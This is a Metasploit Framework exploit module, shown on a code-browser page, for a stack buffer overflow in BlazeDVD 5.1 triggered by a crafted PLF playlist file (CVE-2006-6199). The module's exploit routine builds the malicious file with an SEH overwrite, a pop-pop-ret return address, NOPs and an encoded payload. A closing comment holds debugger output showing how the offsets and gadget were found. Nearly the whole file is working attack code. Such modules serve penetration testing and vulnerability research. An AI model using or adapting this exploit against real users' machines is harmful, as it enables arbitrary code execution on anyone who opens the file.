Statistics
| Branch: | Tag: | Revision:

root / modules / exploits / windows / fileformat / blazedvd_plf.rb @ master

History | View | Annotate | Download (2.5 kB)

1
##
2
# $Id$
3
##
4

    
5
##
6
# This file is part of the Metasploit Framework and may be subject to
7
# redistribution and commercial restrictions. Please see the Metasploit
8
# Framework web site for more information on licensing and terms of use.
9
# http://metasploit.com/framework/
10
##
11

    
12
require 'msf/core'
13

    
14
class Metasploit3 < Msf::Exploit::Remote
15
        Rank = GoodRanking
16

    
17
        include Msf::Exploit::FILEFORMAT
18

    
19
        def initialize(info = {})
20
                super(update_info(info,
21
                        'Name'           => 'BlazeDVD 5.1 PLF Buffer Overflow',
22
                        'Description'    => %q{
23
                                        This module exploits a stack over flow in BlazeDVD 5.1. When
24
                                        the application is used to open a specially crafted plf file,
25
                                        a buffer is overwritten allowing for the execution of arbitrary code.
26
                        },
27
                        'License'        => MSF_LICENSE,
28
                        'Author'         => [ 'MC' ],
29
                        'Version'        => '$Revision$',
30
                        'References'     =>
31
                                [
32
                                        [ 'CVE' , '2006-6199' ],
33
                                        [ 'OSVDB', '30770'],
34
                                        [ 'BID', '35918' ],
35
                                ],
36
                        'DefaultOptions' =>
37
                                {
38
                                        'EXITFUNC' => 'process',
39
                                        'DisablePayloadHandler' => 'true',
40
                                },
41
                        'Payload'        =>
42
                                {
43
                                        'Space'    => 750,
44
                                        'BadChars' => "\x00",
45
                                        'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
46
                                        'DisableNops'  =>  'True',
47
                                },
48
                        'Platform' => 'win',
49
                        'Targets'        =>
50
                                [
51
                                        [ 'BlazeDVD 5.1', { 'Ret' => 0x100101e7 } ],
52
                                ],
53
                        'Privileged'     => false,
54
                        'DisclosureDate' => 'Aug 03 2009',
55
                        'DefaultTarget'  => 0))
56

    
57
                register_options(
58
                        [
59
                                OptString.new('FILENAME',   [ false, 'The file name.',  'msf.plf']),
60
                        ], self.class)
61
        end
62

    
63
        def exploit
64

    
65
                plf = rand_text_alpha_upper(6024)
66

    
67
                plf[868,8] = Rex::Arch::X86.jmp_short(6) + rand_text_alpha_upper(2)  + [target.ret].pack('V')
68
                plf[876,12] = make_nops(12)
69
                plf[888,payload.encoded.length] = payload.encoded
70

    
71
                print_status("Creating '#{datastore['FILENAME']}' file ...")
72

    
73
                file_create(plf)
74

    
75
        end
76

    
77
end
78

    
79
=begin
80
0:000> !exchain
81
0012f2c8: 31644230
82
Invalid exception stack at 64423963
83
0:000> !pattern_offset 6024 0x31644230
84
[Byakugan] Control of 0x31644230 at offset 872.
85
0:000> !pattern_offset 6024 0x64423963
86
[Byakugan] Control of 0x64423963 at offset 868.
87
0:000> s -b 0x10000000 0x10018000 5e 59 c3
88
100012cd  5e 59 c3 56 8b 74 24 08-57 8b f9 56 e8 a2 3c 00  ^Y.V.t$.W..V..<.
89
100101e7  5e 59 c3 90 90 90 90 90-90 8b 44 24 08 8b 4c 24  ^Y........D$..L$
90
0:000> u 0x100012cd L3
91
skinscrollbar!SkinSB_ParentWndProc+0x1fd:
92
100012cd 5e              pop     esi
93
100012ce 59              pop     ecx
94
100012cf c3              ret
95
=end